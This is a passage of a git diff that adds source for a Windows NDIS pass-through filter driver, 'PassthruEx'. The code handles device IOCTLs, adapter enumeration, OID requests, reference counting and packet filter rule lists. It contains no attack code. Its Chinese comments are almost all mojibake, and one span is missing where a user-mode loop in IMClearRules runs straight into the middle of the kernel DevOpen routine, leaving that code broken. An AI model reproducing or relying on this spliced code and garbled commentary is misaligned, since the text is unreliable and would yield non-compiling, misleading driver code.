IOCTL_PTUSERIO_ENUMERATE, + NULL, 0, m_buffer, dwBufferLength, &dwBufferLength, NULL); + if(!bRet) + return FALSE; + + // ±£´æÊÊÅäÆ÷ÊýÁ¿ + m_nAdapters = (ULONG)((ULONG*)m_buffer)[0]; + + // ÏÂÃæ´Óm_bufferÖлñÈ¡ÊÊÅäÆ÷Ãû³ÆºÍ·ûºÅÁ¬½ÓÃû³Æ + // Ö¸ÏòÉ豸Ãû³Æ + WCHAR *pwsz = (WCHAR *)((ULONG *)m_buffer + 1); + int i = 0; + m_pwszVirtualName[i] = pwsz; + while(*(pwsz++) != NULL) + { + while(*(pwsz++) != NULL) + { ; } + + m_pwszAdapterName[i] = pwsz; + + while(*(pwsz++) != NULL) + { ; } + + if(++i >= MAX_ADAPTERS) + break; + + m_pwszVirtualName[i] = pwsz; + } + + return TRUE; +} + + +BOOL IMClearRules() +{ + BOOL bRet = TRUE; + HANDLE hControlDevice = PtOpenControlDevice(); + CIMAdapters adapters; + if(!adapters.EnumAdapters(hControlDevice)) + return FALSE; + + HANDLE hAdapter; + for(int i=0; iFileObject->FsContext = NULL; + pIrpStack->FileObject->FsContext2 = NULL; + + + DBGPRINT((" DevOpen: FileObject %p\n", pIrpStack->FileObject)); + + // Íê³É´ËIRPÇëÇó + pIrp->IoStatus.Information = 0; + pIrp->IoStatus.Status = status; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + return status; +} + +// ÕâÊÇ´¦ÀíIRP_MJ_CLEANUPµÄÅÉDzÀý³Ì +NTSTATUS DevCleanup(PDEVICE_OBJECT pDeviceObject,PIRP pIrp) +{ + PIO_STACK_LOCATION pIrpSp; + NTSTATUS status = STATUS_SUCCESS; + POPEN_CONTEXT pOpenContext; + + // È¡µÃ¾ä±ú + pIrpSp = IoGetCurrentIrpStackLocation(pIrp); + pOpenContext = pIrpSp->FileObject->FsContext; + + if(pOpenContext) + { + // ÔÚÕâÀïÈ¡ÏûËùÓÐδ¾öµÄIRP¡£Õâ¸öÀý×ÓÀïûÓС£ + } + + pIrp->IoStatus.Information = 0; + pIrp->IoStatus.Status = status; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + return status; +} + +// ÕâÊÇ´¦ÀíIRP_MJ_CLOSEµÄÅÉDzÀý³Ì£¬Èç¹ûÊÇÊÊÅäÆ÷¾ä±ú£¬ÎÒÃÇÒª¼õС¶Ô´ò¿ª»·¾³µÄÒýÓà +NTSTATUS DevClose(PDEVICE_OBJECT pDeviceObject, PIRP pIrp) +{ + NTSTATUS status = STATUS_SUCCESS; + PIO_STACK_LOCATION pIrpStack; + POPEN_CONTEXT pOpenContext; + + pIrpStack = IoGetCurrentIrpStackLocation(pIrp); + pOpenContext = (POPEN_CONTEXT)pIrpStack->FileObject->FsContext; + + + pIrpStack->FileObject->FsContext = NULL; + pIrpStack->FileObject->FsContext2 = NULL; + + if(pOpenContext != NULL) // ¹Ø±ÕµÄÊÇÒ»¸öÊÊÅäÆ÷¾ä±ú + { + if(pOpenContext->pAdapt != NULL) + { + NdisAcquireSpinLock(&(pOpenContext->pAdapt)->Lock); + (pOpenContext->pAdapt)->pOpenContext = NULL; + NdisReleaseSpinLock(&(pOpenContext->pAdapt)->Lock); + } + DevDerefOpenContext(pOpenContext); + } + + // Íê³É´ËIRPÇëÇó + pIrp->IoStatus.Information = 0; + pIrp->IoStatus.Status = status; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + return status; +} + + +// ÕâÊÇ´¦ÀíIRP_MJ_DEVICE_CONTROLµÄÅÉDzÀý³Ì£¬Èç¹ûÊÇÊÊÅäÆ÷¾ä±ú£¬ÎÒÃÇÒª¼õС¶Ô´ò¿ª»·¾³µÄÒýÓà +NTSTATUS DevIoControl(PDEVICE_OBJECT pDeviceObject, PIRP pIrp) +{ + // ¼ÙÉèʧ°Ü + NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST; + + // È¡µÃ´ËIRP£¨pIrp£©µÄI/O¶ÑÕ»Ö¸Õë + PIO_STACK_LOCATION pIrpStack = IoGetCurrentIrpStackLocation(pIrp); + + // È¡µÃI/O¿ØÖÆ´úÂë + ULONG uIoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode; + // È¡µÃI/O»º³åÇøÖ¸ÕëºÍËüµÄ³¤¶È + PVOID pIoBuffer = pIrp->AssociatedIrp.SystemBuffer; + ULONG uInSize = pIrpStack->Parameters.DeviceIoControl.InputBufferLength; + ULONG uOutSize = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength; + + ULONG uTransLen = 0; + + DBGPRINT((" DevIoControl... \n")); + + switch(uIoControlCode) + { + case IOCTL_PTUSERIO_ENUMERATE: + { + status = DevGetBindingList(pIoBuffer, uOutSize, &uTransLen); + } + break; + case IOCTL_PTUSERIO_OPEN_ADAPTER: // ´ò¿ªÒ»¸öÊÊÅäÆ÷¡£Êµ¼ÊÉÏÊÇΪÊÊÅäÆ÷¹ØÁªÒ»¸öOPEN_CONTEXT½á¹¹ + { + POPEN_CONTEXT pOpenContext; + PADAPT pAdapt = LookupAdaptByName((PUCHAR)pIoBuffer, uInSize); + if(pAdapt == NULL) + { + status = STATUS_OBJECT_NAME_NOT_FOUND; + break; + } + + + // Èç¹ûÕýÔÚUnbind£¬Ôòʧ°Ü + NdisAcquireSpinLock(&pAdapt->Lock); + if(pAdapt->UnbindingInProcess) + { + NdisReleaseSpinLock(&pAdapt->Lock); + PtDerefAdapter(pAdapt); + status = STATUS_INVALID_DEVICE_STATE; + break; + } + NdisReleaseSpinLock(&pAdapt->Lock); + + // Èç¹ûÊÊÅäÆ÷ÒѾ­´ò¿ª£¬Ôòʧ°Ü + if(pAdapt->pOpenContext != NULL) + { + PtDerefAdapter(pAdapt); + status = STATUS_DEVICE_BUSY; + break; + } + + // ΪеÄOPEN_CONTEXT½á¹¹ÉêÇëÄÚ´æ¿Õ¼ä + pOpenContext = DevAllocateOpenContext(pAdapt); + if(pOpenContext == NULL) + { + PtDerefAdapter(pAdapt); + status = STATUS_INSUFFICIENT_RESOURCES; + break; + } + + + // ÔÚADAPT½á¹¹Öб£´æpOpenContextÖ¸Õë + // InterlockedXXXº¯ÊýÖ´ÐÐÔ­×Ó²Ù×÷£ºÊ×ÏÈËü½«pAdapt->pOpenContext + // ÓëNULL¼ì²é£¬Èç¹ûËüÃÇÏàµÈ£¬Õâ¸öº¯Êý½«pOpenContext·ÅÈëpAdapt->pOpenContext£¬ + // ·µ»ØNULL¡£·ñÔò£¬Ëü½ö·µ»ØÏÖ´æµÄAdapt->pOpenContext£¬²»¸Ä±äÈκÎÖµ¡£ + + /* ¹¦ÄÜÉÏÏ൱ÓÚ + if(pAdapt->pOpenContext == NULL) + { + pAdapt->pOpenContext = pOpenContext; + } + else + { + // error + }*/ + if(InterlockedCompareExchangePointer(&(pAdapt->pOpenContext), + pOpenContext, NULL) != NULL) + { + PtDerefAdapter(pAdapt); + status = STATUS_DEVICE_BUSY; + break; + } + + // ½«´ò¿ª»·¾³Óë¾ä±ú¹ØÁª + pIrpStack->FileObject->FsContext = pOpenContext; + + status = STATUS_SUCCESS; + } + break; + case IOCTL_PTUSERIO_QUERY_OID: + case IOCTL_PTUSERIO_SET_OID: + { + return DevHandleOidRequest(pDeviceObject, pIrp); + } + break; + default: + return FltDevIoControl(pDeviceObject, pIrp); + } + + + if(status == STATUS_SUCCESS) + pIrp->IoStatus.Information = uTransLen; + else + pIrp->IoStatus.Information = 0; + + pIrp->IoStatus.Status = status; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + return status; +} + + +////////////////////////////////// +// ´¦ÀíIOCTLʱҪʹÓõĺ¯Êý + +// ´¦ÀíÓû§µÄOIDÇëÇó +NTSTATUS DevHandleOidRequest(PDEVICE_OBJECT pDeviceObject, PIRP pIrp) +{ + // ¼ÙÉèʧ°Ü + NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST; + + // È¡µÃ´ËIRP£¨pIrp£©µÄI/O¶ÑÕ»Ö¸Õë + PIO_STACK_LOCATION pIrpStack = IoGetCurrentIrpStackLocation(pIrp); + + // È¡µÃI/O¿ØÖÆ´úÂë + ULONG uIoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode; + // È¡µÃI/O»º³åÇøÖ¸ÕëºÍËüµÄ³¤¶È + PPTUSERIO_OID_DATA pOidData = (PPTUSERIO_OID_DATA)pIrp->AssociatedIrp.SystemBuffer; + ULONG uInSize = pIrpStack->Parameters.DeviceIoControl.InputBufferLength; + ULONG uOutSize = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength; + ULONG uTransLen = 0; + + POPEN_CONTEXT pOpenContext; + PADAPT pAdapt; + do + { + // È¡µÃÓë´Ë¾ä±ú¹ØÁªµÄOPEN_CONTEXT½á¹¹µÄÖ¸Õë // Ê×Ïȼì²é´Ë¾ä±úÊÇ·ñ´ò¿ªÊÊÅäÆ÷ + pOpenContext = (POPEN_CONTEXT)pIrpStack->FileObject->FsContext; + if(pOpenContext == NULL) + { + status = STATUS_INVALID_HANDLE; + break; + } + pAdapt = pOpenContext->pAdapt; + if(pAdapt == NULL) + { + status = STATUS_INVALID_HANDLE; + break; + } + + // ¼ì²é»º³åÇø + if(uOutSize != uInSize || uOutSize < sizeof(PTUSERIO_OID_DATA) || + uOutSize < sizeof(PTUSERIO_OID_DATA) - 1 + pOidData->Length) + { + status = STATUS_INVALID_PARAMETER; + break; + } + + + + // Èç¹ûUnbindÕýÔÚ½øÐУ¬Ôòʧ°Ü + NdisAcquireSpinLock(&pAdapt->Lock); + + if( pAdapt->UnbindingInProcess ) + { + NdisReleaseSpinLock(&pAdapt->Lock); + DBGPRINT(( " Unbind In Process\n" )); + status = STATUS_INVALID_DEVICE_STATE; + break; + } + + // + // All other queries are failed, if the miniport is not at D0, + // + if (pAdapt->MPDeviceState > NdisDeviceStateD0) + { + NdisReleaseSpinLock(&pAdapt->Lock); + DBGPRINT(( " Invalid Miniport Device State\n" )); + status = STATUS_INVALID_DEVICE_STATE; + break; + } + + // + // This is in the process of powering down the system, always fail the request + // + if (pAdapt->StandingBy == TRUE) + { + NdisReleaseSpinLock(&pAdapt->Lock); + DBGPRINT(( " Miniport Powering Down\n" )); + + status = STATUS_INVALID_DEVICE_STATE; + break; + } + + NdisReleaseSpinLock(&pAdapt->Lock); + + // ¼ì²éÍê±Ï£¬×îºó£¬½øÐÐÕâ¸öÇëÇó + + DevRefOpenContext(pOpenContext); + + // ³õʼ»¯NDIS_REQUEST½á¹¹ + NdisZeroMemory(&pOpenContext->Request, sizeof(pOpenContext->Request)); + if(uIoControlCode == IOCTL_PTUSERIO_SET_OID) + { + pOpenContext->Request.RequestType = NdisRequestSetInformation; + pOpenContext->Request.DATA.SET_INFORMATION.Oid = pOidData->Oid; + pOpenContext->Request.DATA.SET_INFORMATION.InformationBuffer = pOidData->Data; + pOpenContext->Request.DATA.SET_INFORMATION.InformationBufferLength = pOidData->Length; + } + else + { + pOpenContext->Request.RequestType = NdisRequestQueryInformation; + pOpenContext->Request.DATA.QUERY_INFORMATION.Oid = pOidData->Oid; + pOpenContext->Request.DATA.QUERY_INFORMATION.InformationBuffer = pOidData->Data; + pOpenContext->Request.DATA.QUERY_INFORMATION.InformationBufferLength = pOidData->Length; + } + + NdisResetEvent( &pOpenContext->RequestEvent); + + // Ìá½»Õâ¸öÇëÇó + NdisRequest(&status, pAdapt->BindingHandle, &pOpenContext->Request); + + + if(status != NDIS_STATUS_PENDING) + { + DevRequestComplete(pAdapt, &pOpenContext->Request, status); + } + + // µÈ´ýÇëÇóµÄÍê³É£¬¼´µÈ´ýNdisµ÷ÓÃDevRequestCompleteÀý³Ì + NdisWaitEvent(&pOpenContext->RequestEvent, 0); + + if(pOpenContext->RequestStatus == NDIS_STATUS_SUCCESS) + { + // ½«´óС·µ»Øµ½Óû§»º³åÇø + if(uIoControlCode == IOCTL_PTUSERIO_SET_OID) + { + pOidData->Length = pOpenContext->Request.DATA.SET_INFORMATION.BytesRead; + } + else if(uIoControlCode == IOCTL_PTUSERIO_QUERY_OID) + { + pOidData->Length = pOpenContext->Request.DATA.QUERY_INFORMATION.BytesWritten; + } + + // ÉèÖ÷µ»Ø¸øI/O¹ÜÀíÆ÷µÄÐÅÏ¢ + uTransLen = pIrpStack->Parameters.DeviceIoControl.InputBufferLength; + status = STATUS_SUCCESS; + } + else + { + status = STATUS_UNSUCCESSFUL; + } + + DevDerefOpenContext(pOpenContext); + } + while(FALSE); + + if(status == STATUS_SUCCESS) + pIrp->IoStatus.Information = uTransLen; + else + pIrp->IoStatus.Information = 0; + + pIrp->IoStatus.Status = status; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + return status; +} + +VOID DevRequestComplete(PADAPT pAdapt, PNDIS_REQUEST NdisRequest,NDIS_STATUS Status) +{ + POPEN_CONTEXT pOpenContext = CONTAINING_RECORD(NdisRequest, OPEN_CONTEXT, Request); + pOpenContext->RequestStatus = Status; + NdisSetEvent(&pOpenContext->RequestEvent); +} + +// »ñÈ¡°ó¶¨Áбí +NTSTATUS DevGetBindingList( + IN PVOID Buffer, // »º³åÇø + IN ULONG Length, // »º³åÇø´óС + IN OUT PULONG DataLength // ·µ»Øʵ¼ÊÐèÒªµÄ³¤¶È + ) +{ + PADAPT pAdapt ; + + // ±éÀúÁÐ±í£¬¼ÆËãËùÐèµÄ»º³åÇø´óС + ULONG nRequiredLength = 0; + ULONG nAdapters = 0; + + NdisAcquireSpinLock(&GlobalLock); + + pAdapt = pAdaptList; + while(pAdapt != NULL) + { + nRequiredLength += pAdapt->DeviceName.Length + sizeof(UNICODE_NULL); + nRequiredLength += pAdapt->LowerDeviceName.Length + sizeof(UNICODE_NULL); + nAdapters++; + + pAdapt = pAdapt->Next; + } + + // ÎÒÃǽ«ÒªÒÔÏÂÃæµÄ¸ñʽ·µ»ØÊý¾Ý£º + // nAdapters + Ò»¸ö»òÕ߶à¸ö£¨"DeviceName\0" + "LowerDeviceName\0"£© + UNICODE_NULL + // ËùÒÔ£¬ÏÂÃæÒª°üº¬ÉÏnAaptersºÍUNICODE_NULLµÄ´óС + nRequiredLength += sizeof(nAdapters) + sizeof(UNICODE_NULL); + + *DataLength = nRequiredLength; + if(nRequiredLength > Length) + { + NdisReleaseSpinLock(&GlobalLock); + return STATUS_BUFFER_TOO_SMALL; + } + + // Ìî³ä»º³åÇø + // Ê×ÏÈÊÇÊÊÅäÆ÷ÊýÁ¿ + *(PULONG)Buffer = nAdapters; + Buffer = (PCHAR)Buffer + sizeof(ULONG); + + // È»ºó¸´ÖÆÊÊÅäÆ÷ºÍ·ûºÅÁ¬½ÓÃû³Æ + pAdapt = pAdaptList; + while(pAdapt != NULL) + { + NdisMoveMemory(Buffer,pAdapt->DeviceName.Buffer, pAdapt->DeviceName.Length + sizeof(WCHAR)); + + Buffer = (PCHAR)Buffer + pAdapt->DeviceName.Length + sizeof(WCHAR); + + NdisMoveMemory(Buffer,pAdapt->LowerDeviceName.Buffer, pAdapt->LowerDeviceName.Length + sizeof(WCHAR)); + + Buffer = (PCHAR)Buffer + pAdapt->LowerDeviceName.Length + sizeof(WCHAR); + + pAdapt = pAdapt->Next; + } + + // ×îºóµÄ½áÊø±êÖ¾ + *(PWCHAR)Buffer = UNICODE_NULL; + + NdisReleaseSpinLock(&GlobalLock); + + return STATUS_SUCCESS; +} + + + +//////////////////////////////////////////// +// °ïÖúº¯Êý + +// ¸ü¼ÓÊÊÅäÆ÷Ãû³Æ²éÕÒÊÊÅäÆ÷µÄPADAPT½á¹¹ +PADAPT LookupAdaptByName(PUCHAR pNameBuffer, ULONG nNameLength) +{ + PADAPT pAdapt; + + NdisAcquireSpinLock(&GlobalLock); + + pAdapt = pAdaptList; + while(pAdapt != NULL) + { + if(pAdapt->LowerDeviceName.Length == nNameLength && + NdisEqualMemory(pAdapt->LowerDeviceName.Buffer, pNameBuffer, nNameLength)) + break; + + + pAdapt = pAdapt->Next; + } + + // ·ÀÖ¹ÔÚÒýÓÃÊÊÅäÆ÷Æڼ䣬ϵͳÊÍ·Å»º³åÇø + if(pAdapt != NULL) + PtRefAdapter(pAdapt); + + NdisReleaseSpinLock(&GlobalLock); + return pAdapt; +} + +// ÉêÇëºÍ³õʼ»¯Ò»¸öPOPEN_CONTEXT½á¹¹ +POPEN_CONTEXT DevAllocateOpenContext(PADAPT pAdapt) +{ + POPEN_CONTEXT pOpenContext = NULL; + + // ΪOPEN_CONTEXT½á¹¹ÉêÇëÄÚ´æ¿Õ¼ä + NdisAllocateMemoryWithTag(&pOpenContext, sizeof(OPEN_CONTEXT), TAG); + if(pOpenContext == NULL) + { + return NULL; + } + + // ³õʼ»¯Õâ¸öÄÚ´æ¿Õ¼ä + NdisZeroMemory(pOpenContext, sizeof(OPEN_CONTEXT)); + + NdisAllocateSpinLock(&pOpenContext->Lock); + + NdisInitializeEvent(&pOpenContext->RequestEvent); + + pOpenContext->RefCount = 1; + pOpenContext->pAdapt = pAdapt; + + return pOpenContext; +} + +// Ôö¼Ó¶ÔÊÊÅäÆ÷£¨PADAPT½á¹¹£©µÄÒýÓà +VOID PtRefAdapter(PADAPT pAdapt) +{ + NdisInterlockedIncrement(&pAdapt->RefCount); +} + + +// ¼õС¶ÔÊÊÅäÆ÷£¨PADAPT½á¹¹£©µÄÒýÓã¬Èç¹û¼õΪ0£¬ÔòÊÍ·ÅËüÕ¼ÓõÄÄÚ´æ +VOID PtDerefAdapter(PADAPT pAdapt) +{ + if(pAdapt == NULL) + return; + + if(NdisInterlockedDecrement(&pAdapt->RefCount) == 0) // ÒѾ­Ã»ÓдúÂëÔÙÒýÓÃËüÁË£¬ÊÍ·ÅÄÚ´æ + { + MPFreeAllPacketPools (pAdapt); + +// BEGIN_PTEX_FILTER + // + // ·´³õʼ»¯´ËÊÊÅäÆ÷ÉϵĹýÂËÏà¹ØÊý¾Ý + // + FltOnDeinitAdapter(pAdapt); +// END_PTEX_FILTER + + NdisFreeMemory(pAdapt, 0, 0); + } +} + + + + +// Ôö¼Ó¶Ô´ò¿ª»·¾³µÄÒýÓà +VOID DevRefOpenContext(POPEN_CONTEXT pOpenContext) +{ + // Ê×ÏÈÔö¼Ó¶ÔÊÊÅäÆ÷µÄÒýÓã¬È»ºóÔÙÔö¼ÓOPEN_CONTEXTµÄÒýÓüÆÊý + PtRefAdapter(pOpenContext->pAdapt); + NdisInterlockedIncrement(&pOpenContext->RefCount); +} + +// ¼õÉÙ¶Ô´ò¿ª»·¾³µÄÒýÓã¬Èç¹û¼õΪ0£¬ÔòÊÍ·ÅËüÕ¼ÓõÄÄÚ´æ +VOID DevDerefOpenContext(POPEN_CONTEXT pOpenContext) +{ + PADAPT pAdapt = NULL; + if(pOpenContext == NULL) + return; + + // Ê×Ïȱ£´æ¶ÔÓ¦µÄÊÊÅäÆ÷Ö¸Õ룬ÒÔ±ãºóÃæ¶ÔËüµ÷ÓÃPtDerefAdapterº¯Êý + pAdapt = pOpenContext->pAdapt; + + // ¼õСÒýÓüÆÊý£¬Èç¹ûûÓдúÂëÔÙÒýÓÃËüÁË£¬ÔòÇå³ý×ÊÔ´ + if(NdisInterlockedDecrement(&pOpenContext->RefCount) == 0) + { + NdisFreeSpinLock(&pOpenContext->Lock); + NdisFreeMemory(pOpenContext, 0, 0); + } + + // ¼õÉÙ¶ÔÊÊÅäÆ÷µÄÒýÓà + PtDerefAdapter(pAdapt); +} + + + + +/*NTSTATUS DevOpenAdapter(PUCHAR pNameBuffer, ULONG nNameLength, ) +{ + +}*/ + + diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/PTEXTEND.H" "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/PTEXTEND.H" new file mode 100644 index 0000000..8d38ee9 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/PTEXTEND.H" @@ -0,0 +1,64 @@ +/////////////////////////////////////////////////////// +// PTEXTEND.hÎļþ + +#ifndef __PTEXTEND__H +#define __PTEXTEND__H + + + + + + + + +// Óû§´ò¿ªÒ»¸öÊÊÅäÆ÷ºó£¬ÎÒÃǾÍΪÆä¾ä±ú¹ØÁªÒ»¸öOPEN_CONTEXT½á¹¹£¬ +// ½á¹¹Ö¸Õë±£´æÔÚFileObjectµÄFsContextÓòÖÐ +typedef struct _OPEN_CONTEXT +{ + ULONG RefCount; + NDIS_SPIN_LOCK Lock; + BOOLEAN bAdapterClosed; + + PADAPT pAdapt; + + // ÏÂÃæ3¸öΪµÄÊÇ´¦ÀíOidÇëÇó + NDIS_REQUEST Request; + NDIS_STATUS RequestStatus; + NDIS_EVENT RequestEvent; + +// BEGIN_PTEX_FILTER + // Ϊ¹ýÂËÊý¾ÝÔ¤ÁôµÄ¿Õ¼ä ÿ¸ö´ò¿ª¾ä±úµÄ¹ýÂËÏà¹ØÊý¾Ý + // Per-Open-Handle Filter-Specific Area + // + ULONG FilterReserved[16]; + +// END_PTEX_FILTER + +} OPEN_CONTEXT, *POPEN_CONTEXT; + + + + + +///////////////////////////////////////////// +// ÏÂÃæÊÇһЩ×Ô¶¨Ò庯ÊýµÄÉùÃ÷ + +NTSTATUS DevClose(PDEVICE_OBJECT pDeviceObject, PIRP pIrp); +NTSTATUS DevCleanup(PDEVICE_OBJECT pDeviceObject,PIRP pIrp); +NTSTATUS DevOpen(PDEVICE_OBJECT pDeviceObject, PIRP pIrp); +NTSTATUS DevIoControl(PDEVICE_OBJECT pDeviceObject, PIRP pIrp); +NTSTATUS FltDevIoControl(PDEVICE_OBJECT pDeviceObject, PIRP pIrp); + +NTSTATUS DevHandleOidRequest(PDEVICE_OBJECT pDeviceObject, PIRP pIrp); +VOID DevRequestComplete(PADAPT pAdapt, PNDIS_REQUEST NdisRequest,NDIS_STATUS Status); + +VOID PtRefAdapter(PADAPT pAdapt); +VOID PtDerefAdapter(PADAPT pAdapt); +POPEN_CONTEXT DevAllocateOpenContext(PADAPT pAdapt); +VOID DevDerefOpenContext(POPEN_CONTEXT pOpenContext); +VOID DevRefOpenContext(POPEN_CONTEXT pOpenContext) ; + +NTSTATUS DevGetBindingList(PVOID Buffer,ULONG Length,PULONG DataLength); +PADAPT LookupAdaptByName(PUCHAR pNameBuffer, ULONG nNameLength); + +#endif // __PTEXTEND__H diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/_desktop.ini" "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/filter.c" "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/filter.c" new file mode 100644 index 0000000..06c6e98 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/filter.c" @@ -0,0 +1,551 @@ +///////////////////////////////////////////////////// +// filter.cÎļþ + +// Õâ¸öÎļþ°üº¬ÁËÇý¶¯³ÌÐòÖйýÂËÏà¹ØµÄ´úÂë ¹ýÂ˲¿·Ö + + +#include "precomp.h" +#pragma hdrstop + +#include "iocommon.h" + + +#include "protoinfo.h" + +// ¹ýÂ˹æÔòÁбí +typedef struct _PassthruFilterList +{ + PassthruFilter filter; + struct _PassthruFilterList *pNext; + +} PassthruFilterList, *PPassthruFilterList; + +// ADAPT½á¹¹ÖÐFilterReserved²¿·Ö +typedef struct _ADAPT_FILTER_RSVD +{ + BOOLEAN bFilterInitDone; + + // Per-Adapter¹ýÂËÏà¹Ø³ÉÔ± + PassthruStatistics Statistics; // ¼Ç¼ÍøÂç״̬£¬Èç´«ÊäÁ˶àÉÙ·â°ü£¬¶ªÆúÁ˶àÉÙµÈµÈ + + PPassthruFilterList pFilterList; // Ö¸Ïò¹ýÂËÁбí + +}ADAPT_FILTER_RSVD, *PADAPT_FILTER_RSVD; +C_ASSERT(sizeof(ADAPT_FILTER_RSVD) <= sizeof(((PADAPT)0)->FilterReserved)); + + +// OPEN_CONTEXT½á¹¹ÖÐFilterReserved²¿·Ö. +typedef struct _OPEN_CONTEXT_FILTER_RSVD +{ + BOOLEAN bFilterInitDone; + + // ¸ü¶àµÄPer-Open-Handle¹ýÂËÏà¹Ø³ÉÔ± + +}OPEN_FILTER_RSVD, *POPEN_FILTER_RSVD; + +C_ASSERT(sizeof(OPEN_FILTER_RSVD) <= sizeof(((POPEN_CONTEXT)0)->FilterReserved)); + + + +VOID FltOnInitAdapter(PADAPT pAdapt) +{ + PADAPT_FILTER_RSVD pFilterContext; + + // + // ³õʼ»¯ADAPT½á¹¹ÖеÄFilterReservedÓò + // + pFilterContext = (PADAPT_FILTER_RSVD )&pAdapt->FilterReserved; +} + + +VOID FltOnDeinitAdapter(PADAPT pAdapt) +{ + PADAPT_FILTER_RSVD pFilterContext; + + // + // ·´³õʼ»¯ADAPT½á¹¹ÖеÄFilterReservedÓò + // + pFilterContext = (PADAPT_FILTER_RSVD)&pAdapt->FilterReserved; + + ClearFilterList(pFilterContext); +} + + +///////////////////////////////////////////////////// + +// ÏòÊÊÅäÆ÷¹ýÂËÁбíÖÐÌí¼ÓÒ»¸ö¹ýÂ˹æÔò +NTSTATUS AddFilterToAdapter(PADAPT_FILTER_RSVD pFilterContext, PPassthruFilter pFilter) +{ + PPassthruFilterList pNew; + // ΪеĹýÂ˹æÔòÉêÇëÄÚ´æ¿Õ¼ä + if(NdisAllocateMemoryWithTag(&pNew, sizeof(PassthruFilterList), TAG) != NDIS_STATUS_SUCCESS) + return STATUS_INSUFFICIENT_RESOURCES; + + // Ìî³äÕâ¿éÄÚ´æ + NdisMoveMemory(&pNew->filter, pFilter, sizeof(PassthruFilter)); + + // Á¬½Óµ½¹ýÂËÁбíÖÐ + pNew->pNext = pFilterContext->pFilterList; + pFilterContext->pFilterList = pNew; + + return STATUS_SUCCESS; +} + +// ɾ³ýÊÊÅäÆ÷¹ýÂËÁбíÖеĹæÔò +void ClearFilterList(PADAPT_FILTER_RSVD pFilterContext) +{ + PPassthruFilterList pList = pFilterContext->pFilterList; + PPassthruFilterList pNext; + // ÊͷŹýÂËÁбíÕ¼ÓõÄÄÚ´æ + while(pList != NULL) + { + pNext = pList->pNext; + + NdisFreeMemory(pList, 0, 0); + pList = pNext; + } + pFilterContext->pFilterList = NULL; +} + + + + + +// ¶ÔÄÇЩ²»ÄÜʶ±ðµÄIOCTL£¬PassThru´ÓÖ÷ÒªµÄDevIoControlÀý³Ìµ÷ÓôËÀý³Ì + +NTSTATUS FltDevIoControl(PDEVICE_OBJECT pDeviceObject, PIRP pIrp) +{ + // ¼ÙÉèʧ°Ü + NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST; + + // È¡µÃ´ËIRP£¨pIrp£©µÄI/O¶ÑÕ»Ö¸Õë + PIO_STACK_LOCATION pIrpStack = IoGetCurrentIrpStackLocation(pIrp); + + // È¡µÃI/O¿ØÖÆ´úÂë + ULONG uIoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode; + // È¡µÃI/O»º³åÇøÖ¸ÕëºÍËüµÄ³¤¶È + PVOID pIoBuffer = pIrp->AssociatedIrp.SystemBuffer; + ULONG uInSize = pIrpStack->Parameters.DeviceIoControl.InputBufferLength; + ULONG uOutSize = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength; + + ULONG uTransLen = 0; + + PADAPT pAdapt = NULL; + PADAPT_FILTER_RSVD pFilterContext = NULL; + POPEN_CONTEXT pOpenContext = pIrpStack->FileObject->FsContext; + + if(pOpenContext == NULL || (pAdapt = pOpenContext->pAdapt) == NULL) + { + status = STATUS_INVALID_HANDLE; + goto CompleteTheIRP; + } + + pFilterContext = (PADAPT_FILTER_RSVD)&pAdapt->FilterReserved; + + + // + // Fail IOCTL If Unbind Is In Progress Fail IOCTL If Adapter Is Powering Down + // + NdisAcquireSpinLock(&pAdapt->Lock); + + if( pAdapt->UnbindingInProcess || pAdapt->StandingBy == TRUE) + { + NdisReleaseSpinLock(&pAdapt->Lock); + + status = STATUS_INVALID_DEVICE_STATE; + goto CompleteTheIRP; + } + + // µ±¸Ä±äÊý¾Ýʱ,ÒªÓµÓÐSpinLock + + // ×îºó,´¦ÀíIO¿ØÖÆ´úÂë + switch(uIoControlCode) + { + case IOCTL_PTUSERIO_QUERY_STATISTICS: // »ñÈ¡ÍøÂç»î¶¯×´Ì¬ + { + uTransLen = sizeof(PassthruStatistics); + if(uOutSize < uTransLen) + { + status = STATUS_BUFFER_TOO_SMALL; + break; + } + + NdisMoveMemory(pIoBuffer, &pFilterContext->Statistics, uTransLen); + status = STATUS_SUCCESS; + } + break; + case IOCTL_PTUSERIO_RESET_STATISTICS: // ÖØÉèÍøÂç»î¶¯×´Ì¬ + { + NdisZeroMemory(&pFilterContext->Statistics, sizeof(PassthruStatistics)); + status = STATUS_SUCCESS; + } + break; + case IOCTL_PTUSERIO_ADD_FILTER: // Ìí¼ÓÒ»¸ö¹ýÂ˹æÔò + { + if(uInSize >= sizeof(PassthruFilter)) + { + DBGPRINT((" Ìí¼ÓÒ»¸ö¹ýÂ˹æÔò")); + status = AddFilterToAdapter(pFilterContext, (PPassthruFilter)pIoBuffer); + } + else + { + status = STATUS_INVALID_DEVICE_REQUEST; + } + } + break; + case IOCTL_PTUSERIO_CLEAR_FILTER: // Çå³ý¹ýÂ˹æÔò + { + DBGPRINT((" Çå³ý¹ýÂ˹æÔò")); + ClearFilterList(pFilterContext); + status = STATUS_SUCCESS; + } + break; + } + + 